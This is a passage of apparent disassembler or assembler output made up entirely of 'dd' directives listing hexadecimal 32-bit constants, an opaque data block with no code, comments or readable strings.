		dd 0FC46B4F3h, 0DB8BA24h, 65391B8h, 9C19B675h, 1B52A530h
		dd 0A18FFDD2h, 1AC4A2A0h, 19092550h, 25FD4446h,	0DF16Eh
		dd 37D38265h, 1E022A40h, 4D1F2A00h, 72D0628Bh, 6E64E948h
		dd 0A1C2845h, 3741D55Ah, 0FE3C260Ah, 98DCD7AAh,	642601B3h
		dd 3ECD8107h, 0EACD0C4Eh, 0CA624711h, 0ED4F6BEAh, 0F19366ADh
		dd 22935FB3h, 5E94232Ch, 565B7C7Bh, 0D60582B3h,	0A000DBC4h
		dd 59DDCC7Ah, 0C31E50F8h, 9C3AE5AFh, 3A7F6137h,	9A9912CEh
		dd 0AD73046h, 0ED7AD7C0h, 0EB9BDAE3h, 4256D87h,	44F57EEFh
		dd 6A0CD407h, 46D23921h, 0AFB43F61h, 67E95BFDh,	0ACDDA1E9h
		dd 585D06C5h, 26E215EFh, 0E037E9CEh, 19666451h,	91728E8Eh
		dd 1EB42E48h, 3A43E021h, 0DDFD9C2Eh, 0C0F6FD0Dh, 87159A05h
		dd 616215BCh, 17EDD40Bh, 0A3039027h, 22D47B9Eh,	7CDC89F2h
		dd 664F3C26h, 0F9710B8Eh, 653AB493h, 5F3EE773h,	346DA095h
		dd 0B679F52Ah, 0D971B9E6h, 1B33319Ah, 0E0B39608h, 12C70037h
		dd 9D7EFAECh, 0D54B1DE6h, 23B51F13h, 0E218BBA1h, 4A6E6304h
		dd 0C8BAA48h, 3C3E1C90h, 2B0EEFC8h, 0CB607B33h,	2F2ABFCCh
		dd 997B9F9h, 0E2560752h, 4237DEE1h, 0EBB8C2A0h,	0EFB39C7h
		dd 0CF3C2D86h, 2D2870Bh, 57AD7214h, 816ACBC4h, 0C39348EAh
		dd 0EE401305h, 8004512Ah, 527228E9h, 2ED80C83h,	72122ACFh
		dd 0E00B2B67h, 5D14409Ch, 82C3C047h, 0B6FEA651h, 0C8A13B35h
		dd 0E3818D06h, 54372B44h, 9C902C0Dh, 13B65869h,	0CD52BB75h
		dd 9CCDE994h, 93C26C02h, 9C3424A1h, 175C8842h, 0DC54C75Ah
		dd 0EF1C7788h, 0EB95727Eh, 4D91BA6Fh, 50D86FEh,	2D6517D3h
		dd 0B2F34024h, 0ECF931BBh, 366D347Dh, 0F6C1AF8h, 0A767425Eh
		dd 36A43193h, 258E36Fh,	191857B9h, 7E5481B2h, 5B98F076h
		dd 43136635h, 0EDB74F74h, 0A5AC80D7h, 6EC4F171h, 0DA1358BEh
		dd 9982DD27h, 0F3C2A348h, 8AF8D099h, 0E1A04C17h, 0A9CF7766h
		dd 0C26A9C31h, 5AFAF3A1h, 0C9B5E192h, 54F1FE6Bh, 8998F50Ah
		dd 0FF1E3E0h, 0C044B086h, 9FF41538h, 0F71719D6h, 406AFB2Eh
		dd 7EBDE0A4h, 0ACF0BB41h, 3B704049h, 90F68F28h,	0D92E900Ah
		dd 0B5262B9Ch, 7B09F166h, 1E2CEF04h, 43183EE2h,	3DF82EA1h
		dd 7279E128h, 38746793h
		dd 2FC01030h, 0E7F63B49h, 27A5A455h, 43F4DB5Bh,	2ADF0037h
		dd 23E2C23Fh, 75B742E2h, 5FE8611Ah, 1CADA167h, 0C24BFF6Dh
		dd 7133C08Ch, 7AF84DD6h, 74357891h, 9B735228h, 0FBAA1723h
		dd 0DD3CC897h, 4EF2BD2Dh, 0C9EFF11Fh, 64840FF6h, 0AE2417A7h
		dd 0C0D858ACh, 0FF3283AEh, 0B0D8989Ah, 9D5E9066h, 672E0910h
		dd 0E9A9F695h, 0C5233AD2h, 0F83974EAh, 4D07D0BBh, 42B3A9D3h
		dd 0B33A8BC0h, 4239AF23h, 3000316Ch, 0F9D3248Bh, 5DC5201Ch
		dd 0FC98F7ECh, 5B6B9859h, 679EE322h, 0BD3BEFB8h, 0FA97E34Ch
		dd 3C0A5175h, 70EF940Ah, 44DC1848h, 0E69A864h, 24186782h
		dd 0A3430B71h, 779646CAh, 81DF6505h, 0D8CBB68Eh, 0D59741D9h
		dd 0CDD5A419h, 0CB30B401h, 375C2325h, 0A809CEC6h, 0AD8B8527h
		dd 8369AF79h, 7E0C890Eh, 0C3DEFB18h, 349222EAh,	0EF4B6341h
		dd 1513A954h, 8126E451h, 0EE0841C1h, 0A1B92F5Bh, 269DEF41h
		dd 84913EC0h, 5296260Bh, 0E6132480h, 4E7C9ADFh,	6853E3F4h
		dd 9E24FC53h, 8F2812DBh, 0C7D3B428h, 2488DB96h,	0D3337FD4h
		dd 6E88987Bh, 5BE88B77h, 82820CFAh, 2C8ECB90h, 0AA79A4B0h
		dd 2A293BBEh, 0C9A505AEh, 2B4C2EB5h, 1F87522Dh,	0D51CB401h
		dd 5D31DEFBh, 0DCE4631h, 0ACBEFF5Ch, 4FF602F9h,	99B5DD98h
		dd 0A018577Ah, 0C62E7C2Dh, 15CC0244h, 0EC18B6B8h, 0FDE2D45Bh
		dd 0B5D5BA61h, 77CEA2DEh, 0E28B32D2h, 1136B1F9h, 791EBCE4h
		dd 7C013377h, 3BFB735Eh, 0EC2A4094h, 0E7DEC330h, 1BAABD70h
		dd 2DEE53B4h, 658637FDh, 0B6CA0542h, 2E228947h,	0C1B6998Fh
		dd 30E315B6h, 6B4FE82Bh, 0E868AF56h, 0EB393E77h, 76FABCC3h
		dd 0BF503AD4h, 6A45D60Bh, 0B2F0A254h, 0FE1AE96h, 2B09FFB1h
		dd 845A400Ah, 90E4BB16h, 0ECDA88B6h, 7AFCC269h,	50C3F2CBh
		dd 0FC9CF544h, 0B44197F6h, 3B0C2584h, 0EE017D57h, 0ADD1F2CBh
		dd 1EEF9598h, 769D2B25h, 5E66DED8h, 0EF78F499h,	0AF7164F5h
		dd 1CBF0EB9h, 5FCF169Dh, 440DE4B2h, 87E8E109h, 0CEFB1CF8h
		dd 3749E011h, 5065EAB2h, 395BC4DFh, 6F59D4D7h, 48CFACD1h
		dd 3988BC3Ch, 841552B3h, 570196A6h, 72D1315Fh, 0E687C028h
		dd 0C63B01Ah, 4E7B18BCh, 88BAA77Ah, 0ABD3FDD3h,	7680FDCAh
		dd 9F840E79h, 0BFF220BFh, 622A0C29h, 0F43F9882h, 0BE2443D5h
		dd 0D7A7960Fh, 903A30E5h, 11A1EF35h, 0F692E500h, 0A63D41E5h
		dd 0D28FCB69h, 7E4CC98Ah, 0AC25FD98h, 0D28D8B92h, 9EDDEB39h
		dd 604BFAADh, 0D6B77DB6h, 76AD842Eh, 87AA94F1h,	46F4524Bh
		dd 3D6372F5h, 5BF0E1CBh, 47D1CD1h, 581F8583h, 8543BADBh
		dd 0A1B35D76h, 2AA30F8Fh, 75794B04h, 9B08870Fh,	0F15C2BE3h
		dd 0C71B01E3h, 0D30E8F83h, 0B0C07C11h, 0BD7E4D69h, 5F279B25h
		dd 0DF4BA438h, 0C9B2A847h, 393CDAECh, 51B1282Bh, 85E060DFh
		dd 0C49D3BF8h, 38164C02h, 575C71BCh, 0D1241CBh,	0DC039744h
		dd 0CB1664D7h, 40313E15h, 21C1984Fh, 0E195CC2Ah, 65236DC5h
		dd 0DD4EA3F7h, 0E183405Fh, 369B80F2h, 505BE58Bh, 971BD533h
		dd 71079372h, 0B50D3B8Bh, 0D03A12E0h, 70F358C0h, 0C2CB8CEDh
		dd 4B07ADE9h, 68B279DEh, 2CF1BB5Eh, 7416E665h, 65F3D362h
		dd 0D6DD7CBAh, 49C592Ah, 0CA6E9607h, 78DF68FEh,	7B0F51D0h
		dd 5946D5h, 8C01421Ah, 7109276Ch, 4E9FC4D8h, 0E2B96D6Dh
		dd 47BE9632h, 9BD0FDB7h, 12169042h, 484AD145h, 0DEFEAD9Ch
		dd 0BB556A44h, 72194A4Bh, 0EE77F1B4h, 0BD760ABAh, 0D7CEF08h
		dd 70DD413h, 0B7FD4E30h, 410DA88Dh, 0FB031328h,	2E087DB4h
		dd 5E93CC98h, 3C70E7Ah,	1DDA5541h, 53815049h, 0CF704C22h
		dd 4D157802h, 0AF247206h, 0E86CA32h, 9AEDC933h,	2E7D0A32h
		dd 40E10585h, 8846AA1h,	0C25E04C8h, 811FD8C1h, 7E27C08Eh
		dd 0AE34E699h, 0D64DCB7Ch, 0FFC7F894h, 9396174Fh, 21CD84FAh
		dd 71755BCh, 5B1A812Ch,	5B20F558h, 1A25936Bh, 0E86CD094h
		dd 962B41C3h, 85F170FDh, 55F35313h, 0A1F68DDCh,	27BBBB18h
		dd 357B148Ah, 6F4046E6h, 5F061C6Ah, 0D0BF3098h,	82E05898h
		dd 8B907FFFh, 0F53D7103h, 2F05D0D2h, 76928CFEh,	4466B562h
		dd 0DF94DFE9h, 5ABC116Ah, 0CC6F6558h, 64993DABh, 15FD8324h
		dd 5124AEB2h, 6015ECB4h, 91BED9F1h, 7C2B983Bh, 9077BD68h
		dd 26C271FBh, 0AB5F2959h, 8BB254B1h, 38F11D5Dh,	0DACED925h
		dd 3E182635h, 70E4C634h, 452A9F08h, 0E6F0B4C5h,	95A9ADC0h
		dd 539AF354h, 41642EAEh, 0CE816557h, 5B4A1497h,	0FB01F507h
		dd 79C2D77Eh, 0B0F8EA19h, 78AB7CFDh, 0F0EE7C1Eh, 47052D55h
		dd 0A51458F4h, 0DF41AEBDh, 0A60A5666h, 8A8ACEA4h, 2DBA0EECh
		dd 599854BAh, 87C55A50h, 5AAA3AF0h, 301C4344h, 0BE3AC95Eh
		dd 0F77FA607h, 9669D5FDh, 79314A70h, 0A65B5C0Fh, 0D45B5E74h
		dd 0B9A5DC92h, 0C3B51BB6h, 0D329C6F7h, 2FD3BB5Dh, 0D96E4451h
		dd 0C2FE1CFh, 0E7E5279Fh, 718E4588h, 9E77F8Bh, 0F2AD8CBFh
		dd 71DB07F6h, 31A2D9BEh, 0BD50561Ch, 0F502AB9Ch, 0B85436Fh
		dd 0DAD07624h, 37F0CF75h, 0B967C395h, 0A6692E1h, 5F90D170h
		dd 0CDF84AC3h, 5E728A86h, 0DCC8990Bh, 0CC6959DCh, 85452738h
		dd 0E7E79DB8h, 0E04BEFAAh, 6701E8B4h, 0C7318B8Ch, 8A1A73DAh
		dd 2F56846Ch, 7DFE5819h, 5C9FE4E1h, 4174AC97h, 3B5A6989h
		dd 9BA5D289h, 7166E7F1h, 4E30A5A7h, 24669019h, 3F99EE7Ah
		dd 1EE15E9Eh, 54B794A9h, 0E964B69Fh, 78B5DE11h,	1E42FEh
		dd 0D8837BE4h, 0F6F64B70h, 0CC8C0881h, 17ABDE30h, 0C86CBA75h
		dd 0CBE7BAC8h, 119EAF87h, 59648851h, 0D90DCA46h, 6A866591h
		dd 0ABD991C0h, 3DEF592Dh, 0BD7D6A95h, 1A6DD78Ah, 0CE6AB8EAh
		dd 291A23Bh, 0CD932EECh, 1C3EAB8h, 51F5A5CFh, 2E2AD7AAh
		dd 0D0467569h, 0F3330CB0h, 88B97355h, 4D325h, 74F9C920h
		dd 0F1516CBBh, 0B3B10887h, 1D381C3Bh, 0B686A9A4h, 0B91A46D7h
		dd 753E67DBh, 53CC20F7h, 36335455h, 8319F260h, 3C9E6F9Dh
		dd 49E3377Fh, 20D3A1B8h, 289D0275h, 5AD26C26h, 0C4E5170h
		dd 0BC523164h, 5F3BBA0Bh, 0C42A374Ah, 3E1B78F5h, 0A427FD80h
		dd 828E69B7h, 37583258h, 6D903D2Bh, 5C2B2841h, 1B21B28h
		dd 0BC10B7ABh, 7318180Fh, 78BAC93Bh, 28FB1B22h,	0FDDCF0B0h
		dd 6822C2Dh, 51A0AE80h,	3F030985h, 0A28B84D0h, 9B16B778h
		dd 0A6A8AE84h, 0B4745677h, 6F951F49h, 0B360A3F3h, 43089836h
		dd 0C1E11701h, 197AE8DDh, 8B91E894h, 0D37F6FCCh, 9499B510h
		dd 0AA1B27A8h, 0DF2D8CA2h, 3FF19C83h, 3315BA31h, 74B631EAh
		dd 54849D64h, 7B129E37h, 0D7B60AECh, 4B6ED817h,	0A162686Ah
		dd 867B5D83h, 829C10F5h, 0C16A9254h, 1406F4A5h,	0FEFD2820h
		dd 4717FB0h, 91B2E19Fh,	0CF46ACFDh, 235AC896h, 4A86E457h
		dd 0F6029622h, 6AE09D2Dh, 0C0DF27BAh, 166500C4h, 5A6F85C2h
		dd 851F34F3h, 0AB3403CDh, 0F30C6E2Eh, 6F60810Dh, 7E012D4Bh
		dd 1463B1AAh, 5E7B5042h, 5BAB7B3Ah, 0C8494174h,	1F8E4B22h
		dd 0D214F1F8h, 4DFB87FBh, 420A5B2h, 36408988h, 2CA4D85Ch
		dd 4626B0B3h, 1A61BB82h, 0AA314CC8h, 0AB08D1E1h, 0A7E7EA7Ah
		dd 21964B6Dh, 68016913h, 28AC66E6h, 3414AD67h, 0F4F009B1h
		dd 722FA745h, 847D199Bh, 8EA4C3C0h, 0BF442693h,	2CCA86A3h
		dd 6FB2EA98h, 8C53E569h, 237E6620h, 0E2DFC42h, 6AB6CC6Ch
		dd 6E8D5A01h, 215DB5C6h, 0B750BBE7h, 151A412Ah,	0AE1EC0CFh
		dd 0D5A4B2A2h, 0E6DBD4A2h
		dd 13357693h, 0A264E4ACh, 83D9C6D4h, 9F8B4382h,	2A5E1AB0h
		dd 0B54ED089h, 73EBA4D9h, 2F4560D5h, 644D238Dh,	0D3B1DAEDh
		dd 5CB8AE34h, 0EAEB1Eh,	0E96EBFB1h, 8981FB73h, 0DB55D044h
		dd 0BB8DD68Bh, 47B670B4h, 0E1BB5C16h, 0C98CF1D2h, 320923A2h
		dd 2E3A575Eh, 1EEEF0EEh, 57D5B8F6h, 0D5BEC171h,	243ED072h
		dd 60584B61h, 0FA5FCFC9h, 0BCE59FA0h, 574EC84h,	8B55D24Dh
		dd 6F3924A3h, 0ED91D813h, 29F3C0AAh, 4CFFBDACh,	0A69C3217h
		dd 68E7EC75h, 2B1C3369h, 497D1E04h, 9FE4CD0Eh, 2A959F4Fh
		dd 0E2B7E680h, 42289EF5h, 0F644FB54h, 2B7D771Bh, 0D9B2CC2Ah
		dd 1DBE96E1h, 192C06BFh, 0D9540CC3h, 3627BE95h,	0ABC33598h
		dd 6844BB47h, 0F791FF2Ch, 1382481Dh, 0C2B5B48Fh, 0C07945FDh
		dd 0D7305093h, 0DB7F201Fh, 4621AAEEh, 0AE90397Ch, 2E8CF867h
		dd 0AFAB06C9h, 39396882h, 0E27CCDDBh, 88044274h, 0A97E093Bh
		dd 4C677AF2h, 195B293Bh, 0FCA3C7FFh, 86542F0h, 8ED7D411h
		dd 6E468D12h, 0AB7F77B7h, 4FE775BBh, 37F8F014h,	230208A0h
		dd 0EC396DF2h, 8673C93Ah, 0C8BA419Dh, 0EBB2DA96h, 0CF3556C5h
		dd 6E69A1DAh, 46D6BD02h, 293C485Fh, 29B108C9h, 0A4E7832Fh
		dd 4233612Ah, 2F7B185Eh, 5F1F66Eh, 95931810h, 6C7943F6h
		dd 12C2AC47h, 0D161DD7h, 0B4F0D170h, 4A62E426h,	0A809BCC5h
		dd 0D305B3D9h, 1ADF7AE6h, 5A95238Eh, 0DD6F1627h, 24228007h
		dd 0ED8A9EF9h, 2AF4D8EFh, 81220613h, 16B44ECCh,	348C7778h
		dd 99E49653h, 8A78C025h, 2FF73D9Ah, 1FB87EF8h, 36728189h
		dd 6C045D32h, 9B145592h, 1D974F24h, 0DF065941h,	0D6C28D8Ch
		dd 7D471378h, 0EB24C75Fh, 42F37B3Ch, 8A1EFD27h,	9E9DB5AAh
		dd 9BFFDDCAh, 7743C0A5h, 0A2B13C58h, 0FE997326h, 0F140CEA3h
		dd 551FF949h, 6F1D9DD7h, 0CF3EBC4h, 0D401E2E0h,	0A20EEB39h
		dd 20810355h, 0FEA1F3DEh, 0F2337EE1h, 0E2E338Bh, 59F623E6h
		dd 0E575E08Ah, 0F9181DD3h, 0DB627A60h, 0AD7D367h, 0F58A87CCh
		dd 54890DE6h, 1234C292h, 70F1CAE2h, 3320511Fh, 50964986h
		dd 466157CAh, 0F538A9CCh, 51482F73h, 915FE217h,	757FB706h
		dd 0D3DB13Ch, 0E1BB23D9h, 0D450663Ch, 24DAB786h, 0FC9F5D8Bh
		dd 401AB521h, 0B0A26268h, 4DCCF4ADh, 0CECE9FC9h, 0FAEEF72Ch
		dd 7A505EDFh, 92E0914Bh, 0A0454C2Bh, 402B7872h,	0FC1F23Ah
		dd 516357A3h, 93907C01h, 0FCEAF6C2h, 8D47A5B3h,	0FA864C02h
		dd 7B744D9Eh, 7808EB51h, 0FEF9C09Ah, 0F86019B4h, 2ED9882Ch
		dd 0FA3B6E08h, 82BA8EB9h, 0DD554182h, 702F4FF3h, 0F7105D00h
		dd 0E94779C7h, 90EC20FDh, 0B67045F3h, 0B66D31DEh, 7C1C7FCh
		dd 55E79D9Ah, 9B002CBAh, 0D6FB8DB6h, 94716F8Bh,	13CFCC50h
		dd 0D04A0866h, 9DEE0639h, 2FA3CC76h, 0C5F1EB29h, 15E8A5A0h
		dd 0FDB15ECFh, 56927624h, 0B3D6C0FDh, 59A2EE5Bh, 0F1A7CB1Dh
		dd 27B7C99Dh, 2A0E7B95h, 39CF0E1Fh, 0ABC09F3Bh,	0E512C1EFh
		dd 0AE97281Fh, 67EC544Fh, 0A4D612D1h, 71792593h, 0F5431A7Eh
		dd 6D54602Ah, 38D3D9FEh, 10E66868h, 3E62E953h, 0B8ECEB3Ch
		dd 0FC934F5Fh, 0F5C5EBC2h, 0DEED2DC0h, 89AB9F09h, 26417241h
		dd 284D836Fh, 0D087DC9Ah, 5C8E427Ah, 4C17ED4Fh,	5C59E417h
		dd 3C55A5C6h, 0B4CE6EEAh, 70FEA1BCh, 0AB8B898Dh, 293CA5EDh
		dd 60C4ABF7h, 7FCBBEE4h, 0F431A373h, 0CF3D5389h, 0B49E0636h
		dd 900F69B2h, 5454343Bh, 0E651D7D3h, 3122185Dh,	0C62B1054h
		dd 0C792AC71h, 98417BEBh, 374D2220h, 0DFD3B947h, 91B2313Eh
		dd 2F35E5Ah, 2702FBDAh,	0B1D13E4Fh, 3CB1B8FCh, 5BA18189h
		dd 0F3E96CE1h, 0BC420A83h, 3B16E82h, 9CE4C41Ch,	0E6A5E274h
		dd 4F3B81C5h, 6BC0F332h, 0CC8DFC2Ah, 46379C6h, 32D5B615h
		dd 39278EBBh, 1C1277Dh,	44EC705Ch, 0E2998C05h, 0B1006C07h
		dd 0F4207B35h, 57F5F26Dh, 11B69183h, 687BFh, 0ACB2AD25h
		dd 7022B31Dh, 0A11167F9h, 7E20536Eh, 76C34161h,	8096EF1h
		dd 48D7F88Ah, 246A9FDCh, 5C20DF73h, 8F508D09h, 0EF179EA9h
		dd 0B0010B85h, 33648BF8h, 0FE6C4DFCh, 0D0FF1C96h, 8149F58Ch
		dd 15A8286Fh, 78FB8756h, 0A5CBD9A1h, 76EBCD6Dh,	2B028085h
		dd 37FE1277h, 0A9B1339Ch, 2E7950Bh, 0C4D3349Ch,	0D016DBDCh
		dd 9D8EF07Eh, 54A8DE00h, 263E409Fh, 0E4FE0733h,	4E5F5223h
		dd 0C20AFDCFh, 0F21F5235h, 934CFC88h, 0B1868Eh,	0E1B98093h
		dd 43F50BFDh, 3D0EDDB5h, 0C4E54BBFh, 33D888DFh,	0F3BC5CE7h
		dd 6AFAE753h, 72683D65h, 4AEF8192h, 39D4B383h, 0E4DAE884h
		dd 0E546D3C9h, 0ABCCB2B2h, 3000501Ch, 0A81EA297h, 0BADF2D4Eh
		dd 0FD4A82D9h, 5F28E4B2h, 9F6D20E0h, 0FD390BD9h, 72BF274Eh
		dd 7485D841h, 3784FFCCh, 0A1957D2Ah, 0DE71850Ah, 0DA76C5D1h
		dd 7307C231h, 14B73760h, 0A7CB27BBh, 0E77A2EC9h, 22E9B4FBh
		dd 47851023h, 97AA8894h, 2C8C56A3h, 0A3082B25h,	0F58467C8h
		dd 0B057475Eh, 51A3B542h, 0D21CA7E9h, 3900CBCEh, 2FED7035h
		dd 1AEF4652h, 39234ED4h, 19EE5AC8h, 51D58D5Ch, 4F175E2Bh
		dd 49974DDDh, 936F71D4h, 62BF3AC1h, 50207744h, 376EBDF9h
		dd 4BE69038h, 149E737Ah, 326673B4h, 3A81FD9Ch, 51DC6CA7h
		dd 5184822Eh, 0BC058928h, 4F1D3FDEh, 0FD8466D9h, 6BD66797h
		dd 4AD449DDh, 0A87B46FFh, 0FBB33501h, 4D1C24AFh, 84A36748h
		dd 7F93320Bh, 0DCBFEBEBh, 86D6CB61h, 0AA2653E8h, 954851D7h
		dd 692B58CFh, 0B50A0355h, 0A5E0A219h, 0DE2057BEh, 391DDD39h
		dd 0C9464060h, 0B47CD6B3h, 2DAA2AA2h, 19F753C0h, 0CCABEB4Ah
		dd 0DCDB5DE7h, 3F743122h, 27904808h, 0E7BB8D2Eh, 7BCA2BD2h
		dd 3E53F68Ch, 0DC0064FEh, 52B8F771h, 0DAD58530h, 3DB76F71h
		dd 18BB592Fh, 297380A6h, 0B537C4A0h, 7E50A380h,	0EC00CCB0h
		dd 0B463754h, 0F49AF006h, 447C9E73h, 8432B3DAh,	3F31F95h
		dd 7139245h, 4402B2A4h,	0D0EE8E54h, 0CF00092Ah,	0C9B92D0Fh
		dd 0F1A98257h, 6944C262h, 0B2D8B521h, 0B951CA99h, 5AD5BB0Ah
		dd 0F13331B7h, 1315D88Ah, 53B136E2h, 7A47618Bh,	6DC8372Ah
		dd 45A3C339h, 0CE3EBB58h, 29592BA0h, 9D7ED962h,	535FC47h
		dd 4B403DEAh, 6A67E780h, 6FC30527h, 8DDE444Eh, 62163548h
		dd 228E6403h, 97E1B072h, 8D78CAB9h, 0FA7066C6h,	96B8151Bh
		dd 1CDEE84Bh, 0D33CB385h, 0FDBB280Ah, 2382EB09h, 2CAFAB9Dh
		dd 0A1702BA1h, 228BBC8Fh, 0D5622106h, 319F005Eh, 5A650919h
		dd 905132A6h, 53BC4F40h, 0C82EE863h, 6A63C237h,	0F3FD9701h
		dd 4FDE18A6h, 0F7DDF795h, 1731E78Dh, 9875C499h,	0B1A2EBC1h
		dd 0FE12A2CEh, 0F613760Ch, 1B68B8DCh, 835238A0h, 775C05FAh
		dd 0B006FC03h, 252A2A8Bh, 0C51343Ah, 0A913DDA3h, 76FB591Dh
		dd 5662800Dh, 0B1BAE3A2h, 0A2FD6278h, 1597551h,	0E621004Fh
		dd 29547443h, 0E12545CBh, 0A347A0A6h, 23699C7h,	0C9116BD7h
		dd 0AA1D60DFh, 0A55D4CB2h, 9FE5BA37h, 0BB52CEB8h, 9A91AE1Ah
		dd 0D8FE3298h, 6D4BCC9Dh, 22055642h, 0E9B8FA90h, 3E2056DCh
		dd 9A0B91F7h, 0D10EC3FCh, 3F4F1840h, 0D29BA09Eh, 0DAB7FD03h
		dd 68EB24E3h, 0DA68CC66h, 4590D068h, 0AADFD8F9h, 8531E5Fh
		dd 0B9AE275Eh, 0AD96E791h, 826096D9h, 9774679Ch, 6C88A7ABh
		dd 0A3163E4Dh, 0DA71CFAAh, 276E6DD4h, 48526E9Bh, 0A250B4F2h
		dd 0A56DF12Eh, 0DF0289F2h, 9CB44041h, 560DBA06h, 52DE6E22h
		dd 2171A6D7h, 2198E85Ah
		dd 313C3155h, 3560F056h, 84FCA968h, 601DD7B8h, 114F9C3Fh
		dd 0A60CCF71h, 0FA1BF521h, 81ACF7B5h, 9D8F760Dh, 7EA814EBh
		dd 209459D2h, 35E69C69h, 5D416A9Eh, 11B20482h, 76649786h
		dd 50EEB32Dh, 0C3C43433h, 0F823246Bh, 0AD1747F1h, 0DBB64A9Fh
		dd 5DDB46C6h, 0DAFFAB5h, 2D20CD05h, 4720AE0Eh, 836527Dh
		dd 9A6A2C81h, 0B9561FEEh, 48F19ED1h, 0EDF216A6h, 0D4AD3A9Eh
		dd 8C4CDCA0h, 0EF68760Dh, 0F776BC0h, 8AE81CACh,	250C85A8h
		dd 0FE729E6Fh, 0E12BD387h, 7E96351Bh, 2AF11DE7h, 3C139166h
		dd 27B63969h, 0E2B6776h, 0DD4A596Fh, 0D26C1F82h, 727F5542h
		dd 0DC701C60h, 87F5C5B1h, 9CB747A4h, 1FFE5B80h,	0BC1CA4BDh
		dd 0E05C6B30h, 0C9B0AB87h, 0F6DAC535h, 80F9698Bh, 0DEC6C13Ah
		dd 61BA44D5h, 0D0AAA3D3h, 3B0938AEh, 84F5CE67h,	29DB38C7h
		dd 0D7350CCDh, 0F19A0A69h, 43D821B9h, 50B50BEh,	0AA18B6B7h
		dd 3943E60Ah, 1972F435h, 260F434h, 0EC4D3489h, 0F4B049B7h
		dd 192F9FF0h, 0E9123039h, 92636DA7h, 0A169637Ch, 10A83BB2h
		dd 0A7DC1D66h, 88084FAFh, 0CFE4BD0Dh, 6B4F5F74h, 0D999F120h
		dd 8EEA7EA4h, 0E610AE6Ah, 5888BADEh, 0B241DBF3h, 6C8A4FAAh
		dd 977ABB51h, 2096227Fh, 0DAE2BAD6h, 0EED0BAE9h, 6624351Eh
		dd 2D1C1ED6h, 1D922D9Fh, 0C65DC97Ch, 49E16CB3h,	30363765h
		dd 34C4A5A6h, 0C8DF7E8Dh, 0D34157FBh, 6C7C01FDh, 0A5C87BDAh
		dd 82AB1A11h, 0CCE6132Ch, 0F5704557h, 407E1108h, 9B9593E3h
		dd 3B4AC199h, 0EAF94B1Eh, 3681D6E5h, 6761B6B4h,	3FBB9F2Fh
		dd 0DFA824EDh, 2370A3C3h, 575B6E5Ch, 0FF6E629Dh, 0D9EF2AC5h
		dd 0E33DCEFFh, 8ECB14CCh, 0A727E939h, 0F2BF2037h, 0F12581Ah
		dd 3F0A967Ch, 30B29E19h, 0F1D8CFF8h, 39057D64h,	5C52BFEDh
		dd 1F67E6FEh, 0A1DDDD1Dh, 0F21585DBh, 93D2D130h, 84E2F845h
		dd 0D1E1744Eh, 85E83D02h, 9C28BA41h, 3B27CAA5h,	4F10F657h
		dd 32302FB0h, 831CAA9Eh, 20AC6DAAh, 0D37B3854h,	0C88FAE08h
		dd 0D83474A7h, 586ACFC7h, 7A39FA98h, 721C2CBCh,	0A43CBF1Dh
		dd 0EB855ED5h, 81758A6Eh, 1802D8F2h, 1A278F71h,	8469131Dh
		dd 7E843D4Ah, 0A5FA0A73h, 7081B5ACh, 0FC314147h, 90DD5D17h
		dd 0DD581C07h, 9849FF6Ch, 0D2EBA1B2h, 7D55A0E2h, 67374E43h
		dd 0A8ADEC93h, 3CFCB6FAh, 1EAB6077h, 16A2D7A4h,	0D97BB59Ch
		dd 0A8AE6261h, 6B975344h, 2CEA95E4h, 7C9EFEF8h,	6AA34822h
		dd 0F537558Fh, 0CACE8C9Fh, 664C309Ah, 286A3A96h, 0AB393406h
		dd 65531231h, 3207EDC7h, 0AB41B240h, 37AD1F34h,	3AD7FD80h
		dd 0B4D2A3C2h, 2A901ED2h, 7E2E7F6Ch, 6199DBC6h,	0B8BBFB8Dh
		dd 636F3C23h, 2A8464FAh, 227F26AEh, 2501857Bh, 0CE55B3F0h
		dd 89E9C7F6h, 0E5148FA4h, 57505272h, 0CDFB771Ch, 2DEFE376h
		dd 0CE0274BDh, 33A396A6h, 0EF5950E5h, 0FEB2DD00h, 8A7F5795h
		dd 0B1B39E64h, 0D576C754h, 7D403BE2h, 0DAE1506Ch, 52008AD3h
		dd 65AA3073h, 0CA2E8A47h, 549939E3h, 12E34A35h,	3CE28ADFh
		dd 3DA61C28h, 0E8CADCBCh, 165338BAh, 0B25E332Bh, 0DED00129h
		dd 63B0F384h, 0ABCFC697h, 68B0E32h, 5E8E1567h, 615B1DDAh
		dd 5990F0A9h, 0E33CB79Ah, 0F309760Dh, 0BCE673EDh, 6910B4Dh
		dd 0FC7D08BFh, 0CF635549h, 0E0AE28C6h, 6BE64F1Bh, 96600B04h
		dd 0BE1C9177h, 33EE9858h, 7DE05E0h, 2EEB7DFDh, 12E7F7D1h
		dd 6896775h, 0EFA06470h, 0F410B5E7h, 0C9E170F1h, 24870C3Dh
		dd 9104BBFFh, 0CB4F3ADCh, 477E33AFh, 0C055A7AFh, 3D17B8A1h
		dd 6F98EBCDh, 89A91BF7h, 0E16129E3h, 0AE9F33AFh, 0FB17B85Ah
		dd 0A39B24A4h, 81C3A9C4h, 264DE210h, 0D9CE1CF5h, 0DDF774D8h
		dd 33FC4D59h, 51CFE094h, 6CD49B54h, 0F8D06C3Bh,	9373F706h
		dd 7E73F493h, 1B8B84ADh, 0AF6A4D8Ah, 0B82F02A6h, 0A14E2AC6h
		dd 0D4757513h, 0A374F6F8h, 71D5EA9Bh, 1424D72h,	34DD8C43h
		dd 0CA534A43h, 417BE98Eh, 0B7A52F1Ah, 0E8385665h, 21C52A7Ch
		dd 9FF55CC8h, 2F00314Fh, 42F55552h, 0D689C807h,	783BF433h
		dd 3B2724D4h, 95BA57B8h, 63902D22h, 46421AE7h, 9A00C360h
		dd 4339D5BEh, 69F1D7F7h, 0CC3C7C7Ch, 13CA5DCEh,	0BBB67C7Ch
		dd 84C544B7h, 2A1FBBECh, 4991759Ch, 6709EB51h, 82D35E32h
		dd 6EDBC4BBh, 90EE79D5h, 0E676ED6Ch, 21763769h,	42861C4Ah
		dd 688869E3h, 25082D29h, 31E74B89h, 55EE3AD9h, 72AC5902h
		dd 507CC4ADh, 5493A8CFh, 0C8A7E5Dh, 0F79E1E5Dh,	6541FEDBh
		dd 72D10A7Bh, 7C296FBBh, 1C5E4AF0h, 4B3A3E95h, 61F49E63h
		dd 21240323h, 11D6D2FBh, 0D99AB210h, 0CD27085Ch, 17BEDFD9h
		dd 0DA531B97h, 6B607ED3h, 0E7172C72h, 8D7D3114h, 0C2D3B760h
		dd 0E3AAE7D6h, 303EB6Bh, 4FA3FF02h, 812D63C9h, 0F2A1EEB3h
